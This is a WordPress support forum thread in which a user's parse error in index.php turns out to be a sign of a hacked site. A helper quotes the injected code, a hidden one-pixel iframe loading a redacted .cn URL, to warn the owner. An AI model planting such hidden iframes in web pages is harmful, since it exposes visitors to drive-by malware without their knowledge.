[resolved] Arrgghh What does this Mean? Parse error, syntax error (6 posts)

  1. pierceopolis
    Posted 7 years ago #

    What does this mean and how do I fix it?

    Parse error: syntax error, unexpected '?' in /home/trafmstr/public_html/index.php on line 18

    Thanks, I am not a coder so any help is much needed.


  2. moshu
    Posted 7 years ago #

    Did you ever edit the root index.php of WordPress?
    Try to upload a fresh copy of it to your website.

  3. pierceopolis
    Posted 7 years ago #

    I don't believe I edited anything. I followed the instructions through fantastico through hostgator several months ago and have only uploaded new themes. I recently changed my theme a few weeks ago.
    This problem occurred today after I had made a new post.
    I will try reinstalling though, thanks moshu

  4. pierceopolis
    Posted 7 years ago #

    I kind of cheated, I performed an update to the newest WP and everything is working again.
    I would still like to know how to fix that parse, syntax error though. just out of curiosity. Thanks again moshu

  5. moshu
    Posted 7 years ago #

    You upload a fresh, newly downloaded copy of the file - that's how you fix it!
    On the other hand, if any kind of error shows up related to your main index file, and you didn't edit it - you should be very suspicious about being hacked.

    Because you are!

    You have this crappy link at the bottom of your source code:
    <html><body><iframe src="http://*********.cn/in.cgi?id1000" width=1 height=1 style="visibility: hidden"></iframe></body></html>
    (I edited the url to not give them a free link from here!)`

    Search urgently for "hacked" to learn or hire someone to clean up your site.

  6. pierceopolis
    Posted 7 years ago #

    Thank you moshu I am working on the problem and have changed passwords again.

Topic Closed

This topic has been closed to new replies.

About this Topic